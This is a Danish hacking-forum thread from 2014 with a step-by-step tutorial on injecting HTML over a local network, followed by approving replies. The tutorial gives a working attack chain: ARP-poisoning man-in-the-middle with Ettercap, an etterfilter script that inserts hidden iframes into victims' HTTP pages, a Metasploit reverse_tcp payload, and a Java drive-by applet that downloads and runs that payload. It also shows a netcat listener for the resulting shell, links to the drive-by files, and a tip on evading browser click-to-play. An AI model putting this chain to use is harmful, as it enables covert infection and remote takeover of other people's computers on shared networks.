Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
HTML Injektion over Netværket
24-08-2014, 19:32 (Denne besked var sidst ændret: 24-08-2014, 20:29 af BaltoZ|-|aar.)
#1
HTML Injektion over Netværket
Introduktion
I denne tutorial vil vi tage et kig på en af de mange ting vi kan opnå på et netværk ved hjælp af Ettercap. De fleste har nok prøvet at sniffe HTTP brugernavne og kodeord, og sikkert også leget med SSLStrip dengang det rent faktisk var brugbart. Så lad os grave lidt dybere denne gang, og se hvad vi kan få ud af at lege lidt med filtre i Ettercap. For at sige det simpelt, vil vi omdirigere netværktrafikken til vores egen PC, udskifte diverse HTML tags med iFrames, køre en server der kan hoste vores drive-by, generere en payload med msfpayload, lade vores drive-by levere vores payload. Bemærk at vi udelukkende kommer til at ændre i HTTP trafik. Synes ikke det er besværet værd at skulle til at implementere hverken SSLStrip eller BREACH. Det skader mere end det gavner.

- Er ikke så kreativ når det kommer til tekst-baserede tutorials, men har kigget lidt her så ShellSec for at få en idé om hvordan i andre gør.
- Synes disse enkle trin var alt for nemme til at en video var nødvendig - det tager trods alt kun få minutter. MEN - kan være der kommer en senere.
- Overvejede at lave flere undersektioner med opsætning af Metasploit, BeEF og Javascript Keylogger + Form Grabber. Men det er jo noget af det letteste - kender og ikke rigtig folk og deres niveau endnu.
- Vær opmærksom på, at jeg kører som root. Hvis du bare er normal bruger, kan du blive nødt til at køre SU - eller SUDO hvis du er i sudoers-filen.
- Så skulle det vidst passe med 10 billeder.

Krav
Kali – eller hvilken som helst linux variant du foretrækker | Auditor? :P
Ettercap ~ Etterfilter
Apache server – Behøves heller ikke – mere om det senere
Metasploit ~ MSFPayload
Netcat – eller Metasploit’s handler
Lidt kendskab til Kali eller Linux generelt (Hvis du nu støder ind i problemer)

Trin 1
Til at starte med vil vi generere en reverse_tcp payload, da calc.exe måske er bedre til en demonstation, er det stadig lidt fesent.
Til det bruger vi selvfølgelig MSFPayload (Ingen grund til at gøre det mere kompliceret ved selv at kompilere skidtet).
Jeg er også stor fan af meterpreter payloads. Hvis man så SENERE vil have lidt bredere funktionalitet igennem en rat, kan man jo enten selv skrive plugins til meterpreter eller bare køre ratten direkte på vores offers PC.
[Billede: Screenshotfrom2014-08-1916_53_44.png]

Trin 2
Når vi har genereret vores payload, eller opsat en anden RAT alt efter hvad vi foretrækker, er det tid til at aktivere IP Forwarding, så vi kan få pakkerne omdirigeret:
Kode:
echo 1 > /proc/sys/net/ipv4/ip_forward

Det er her en god idé at tjekke om vores ændring nu også er vedtaget. Til det bruger vi selvfølgelig cat, så vi læse filens beskedne indhold direkte i terminalen
Kode:
cat /proc/sys/net/ipv4/ip_forward
[Billede: Screenshotfrom2014-08-1900_58_52.png]


Trin 3
For at ettercap kan være i stand til at udskifte HTML i den trafik der kører igennem vores PC, vil vi bruge et filter. Dette filter vil udskifte de HTML tags som vi specificerer. Filetret vil desuden sørge for ikke at ændre i data fra vores egen IP.

Citer:if (ip.proto == TCP && ip.dst != "VORES.IP") {
if (search(DATA.data, "gzip")) {
replace("gzip", " ");
msg("[*] Zapped 'gzip'\n");
}
if (search(DATA.data, "deflate")) {
replace("deflate", " ");
msg("[*] Zapped 'deflate'\n");
}
if (search(DATA.data, "gzip,deflate")) {
replace("gzip,deflate", " ");
msg("[*] Zapped 'gzip,deflate'\n");
}
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("[*] Zapped 'Accept-Encoding'\n");
}

if (search(DATA.data, "</title>")){
replace("</title>","</title><iframe src=\"http://SERVER.IP\" width=\"0\" height=\"0\" frameBorder=\"0\"></iframe>");
msg("[>] Injecting into (</title>)\n");
}
if (search(DATA.data, "</TITLE>")){
replace("</TITLE>","</TITLE><iframe src=\"http://SERVER.IP\" width=\"0\" height=\"0\" frameBorder=\"0\"></iframe>");
msg("[>] Injecting into (</TITLE>)\n");
}
if (search(DATA.data, "body>")){
replace("body>","body><iframe src=\"http://SERVER.IP\" width=\"0\" height=\"0\" frameBorder=\"0\"></iframe>");
msg("[>] Injecting into (body>)\n");
}
if (search(DATA.data, "BODY>")){
replace("BODY>","BODY><iframe src=\"http://SERVER.IP\" width=\"0\" height=\"0\" frameBorder=\"0\"></iframe>");
msg("[>] Injecting into (BODY>)\n");
}

if (search(DATA.data, "http://VORES.IP")){
msg("[+] Injected correctly!\n");
}
}



Her ville det være en god idé at lave flere varianter af filteret. Alle de beskeder vi får fra ettercap kan godt blive uoverskueligt, så lav lidt filtre der Kun udskifter f. eks. Title eller Body tags. Desuden kan du fjerne flere af ’msg’ funktionerne, da vi kun er interesserede i, om vores filter nu også virker efter hensigten.


øverste OG fjerde-nederste linie står der skrevet ‘VORES.IP’. Dette skal være vores egen IP, og Ettercap bruger denne til at tjekke for fuldendt injicering.
Routeren har givet os en lokal IP, så den kan finde og udlevere data til og fra os. Det er denne IP, vi skal bruge øverst. For at finde from til denne, kan vi bruge ifconfig (Hvor vi fra Windows kender ipconfig)
[Billede: Screenshotfrom2014-08-1901_03_03.png]

(Bemærk at jeg bruger wlan0 da jeg ved dette er interfacet mit trådløse netværkskort er registreret på. Hvad vi skal bruge her er vores inet adresse. Den eneste grund til jeg bruger grep, er for at mindske resultatet og gøre det lidt mere overskueligt)

Desuden ser vi 4 andre steder i filteret hvor der står 'SERVER.IP'. Disse er placeret inde i iFrame tags, og skal pege på den IP eller DOMÆNE hvor vi kører vores ’ondsindet’ kode. Dette kan være alt lige fra Javascript keylogger/form grabber, IP logger, BeEF, Metasploit autopwn. Man kan jo også lave sit eget lille exploit kit med nogle af følgende: Internet Explorer exploit, Java exploit med Java applet drive-by som fallback, Adobe Flash exploit med falsk opdatering som fallback, AddJavascriptInterface exploit til Android + APK download som fallback osv.

Trin 4
I dette eksempel vil jeg nøjes med følgende java drive-by:
https://mega.co.nz/#F!P49QHbKa!BvW2MEo_mIhpPTeKoy3kDw
Det er et meget simpelt drive-by der kun kræver disse 3 filer:
Index.html
drive.jar
pload.exe
(Den fil vi ønsker at køre på vores ”ofres” computere)
Nu gældet det så bare om at kopiere filerne til den mappe vi kører vores server fra.
Index.html ser således ud:
Citer:<applet code="__JAVA__.class" archive="drive.jar" width="0" height="0">
<param name="filename" value="pload.exe">
<param name="urserver" value="http://192.168.0.101/pload.exe">
</applet>
</body>
</html>
Parametrene er opsat på denne måde:
archive skal pege på vores kompilerede .jar java fil.
filename angiver hvad filen skal hedde efter den er hentet ned på ofrets computer.
urserver peger på serveren og filnavnet på den fil vi vil lade vores drive-by applet køre. I dette tilfælde er det vores reverse_tcp payload.

Har bare valgt at bruge Apache og den tilhørende mappe /var/www
Bare træk filerne over i mappen eller brug cp hvis du vil være awesome.

Nu kan vi så starte Apache. Det kan du gøre fra 'Applications' menuen, køre 'apache2ctl' eller bare bruge 'init.d' som i dette eksempel - Det er igen en smagssag.
[Billede: Screenshotfrom2014-08-1900_59_56.png]

Trin 5
Når din server kører og er klar til at levere vores exploit kan vi gå videre til at kompilere vores Ettercap filter. Desværre er Ettercap ikke lavet sådan at vi kan scripte uden at kompilere, men heldigvis tager det ikke mere end 5 sekunder.

Vi vil her bruge Etterfilter. Etterfilter er en del af Ettercap, og kræver at vi specificerer en input-fil[u] (filteret der skal kompileres) og en [u]output-fil (filteret Efter kompilering). I dette eksempel er mit filter placeret i /root/ mappen - samme mappe som konsollen arbejder i uden at du selv har angivet andet. Så hvis dit filter er gemt i en anden mappe, eller hvis du har ændret konsollens arbejdsmappe til noget andet, så sørg for at tilføje filstien når du kører etterfilter. Du kan faktisk bare trække filen ind i konsollen, og så får du den fulde sti.
[Billede: Screenshotfrom2014-08-1901_03_48.png]

Trin 6
Nu kan vi så køre Ettercap med følgende parametre:
-T <Text mode> – Det ville ikke give mening at køre GUI mode her, så vi kører i text mode i konsollen
–i <Interface> - Samme interface som vi fandt tidligere – altså vores netværkskort)
–q <Quite mode> - Så vi ikke bliver overvældet af pakkedata, men kun får brugbare informationer såsom forbundne enheder og filter data
–F <Filter> - Filteret vi kompilerede før
–M <MiTM> - Man-in-The-Middle angreb. Desuden burger vi ARP til at specificere at vores angreb skal forgifte vores ofres ARP-caches, så deres pakker bliver sendt videre til Vores PC hvor vi kan ændre dem on-the-fly
// // <Target 1 + Target 2> - Her vælger vi targets. I dette eksempel er ALLE IP’er targets, men du kan også vælge en enkelt IP (192.168.0.105) eller en række (192.168.0.105-110) som ’Target 1’ efterfulgt af routerens IP som ’Target 2’ (192.168.0.1)
-P <Plugin> - Her kan vi vælge hvilke plugins ettercap skal loade og køre under vores angreb. Der er mange spændende muligheder, men har kun valg at bruge ’autoadd’, der automatisk tilføjer nye Targets efterhånden som ettercap opdager dem.
[Billede: Screenshotfrom2014-08-1901_05_34.png]

Trin 7
Da vi har valgt at bruge vores reverse_tcp payload skal vi også have en listnener af en slags kørende klar til at modtage indgående forbindelser. Det kan være alle slags listeners, såfrem de er kompatible med vores payload. Har valgt at bruge Netcat, men du kan også bruge en af Metasploit’s handlers.
-l - Fortæller Netcat at vi vil ’lytte’ efter indgående forbindelser, i stedet for selv at udføre en udgående forbindelse
-v – Giver os simple beskeder om Netcats aktivitet
-p – Porten Netcat skal ’lytte efter’
Citer:Nc –lvp 9191

Done!
Hvis vi besøger en tilfældig HTTP side nu, kan vi se i vores Ettercap terminal, at vores filter virker lige som det skal. Hvis du ikke har ændret i filteret før du kompilerede det, vil dit output se nogenlunde således ud:
[Billede: Screenshotfrom2014-08-1916_51_09.png]



[Billede: v22.png]
(Kan se der står taipans - hvis jeg husker rigtigt er det Java Drive-by Applet' fra FinFisher Web. Testede deres applet da jeg skrev denne tutorial, så det skulle være den eneste grund til at der ikke står _JAVA_, hvilket der gør i det Drive-By jeg linkede til)
Desuden bruger jeg Internet Explorer for at undgå de sikkerhedsforanstaltninger Firefox og Chrome bruger! - Nemlig Click-2-Play





Hvis vi vælger at køre dette applet, kan vi se at vores payload bliver kørt, og vi får med det samme en reverse_tcp shell ved hjælp af Netcat.
[Billede: Screenshotfrom2014-08-1916_49_54.png]





Og lige for en god ordens skyld tjekker vi lige om det nu også er vores testmaskine vi har inficeret, og ikke en tilfældig forbipasserende på netværket:
[Billede: success.png]
Find alle beskeder fra denne bruger
Citer denne besked i et svar
24-08-2014, 19:34
#2
RE: HTML Injektion over Netværket
<Reserveret>
Nej. Heller ikke sikkert der bliver brug for det. Tak.
Find alle beskeder fra denne bruger
Citer denne besked i et svar
24-08-2014, 19:51
#3
RE: HTML Injektion over Netværket
Er det bare mig, eller skal der opdateres pænt meget før billederne virker?
Det skal du nok lige have kigget på, bro..
Find alle beskeder fra denne bruger
Citer denne besked i et svar
24-08-2014, 20:00 (Denne besked var sidst ændret: 24-08-2014, 20:29 af BaltoZ|-|aar.)
#4
RE: HTML Injektion over Netværket
Splittles. Har haft beef med anonimg et par dage nu.

EDIT: Har skiftet billedhost.
Find alle beskeder fra denne bruger
Citer denne besked i et svar
24-08-2014, 20:40
#5
RE: HTML Injektion over Netværket
Fin struktur og gode, uddybende forklaringer. Det er lige den slags vi har brug for :)
Mangler du hjælp?
Regler |  E-mail (PGP)
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
26-08-2014, 10:05
#6
RE: HTML Injektion over Netværket
Rigtig fin guide, det er sgu godt arbejde!
Don't learn to hack, hack to learn
Find alle beskeder fra denne bruger
Citer denne besked i et svar
26-08-2014, 16:42
#7
RE: HTML Injektion over Netværket
Jo tak. Der er mange muligheder for at skræddersy denne slags angreb til lige præcis Din lokale politistation. Ej. Der skulle så have stået netværk.. Øv altså.....
Find alle beskeder fra denne bruger
Citer denne besked i et svar
27-08-2014, 16:16
#8
RE: HTML Injektion over Netværket
Jeg har leget lidt med det her for et års tid siden, men havde fuldstændig glemt det. Jeg læste din tutorial grundig igennem og det har lige gjort det hele soleklart! Tak for det.
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)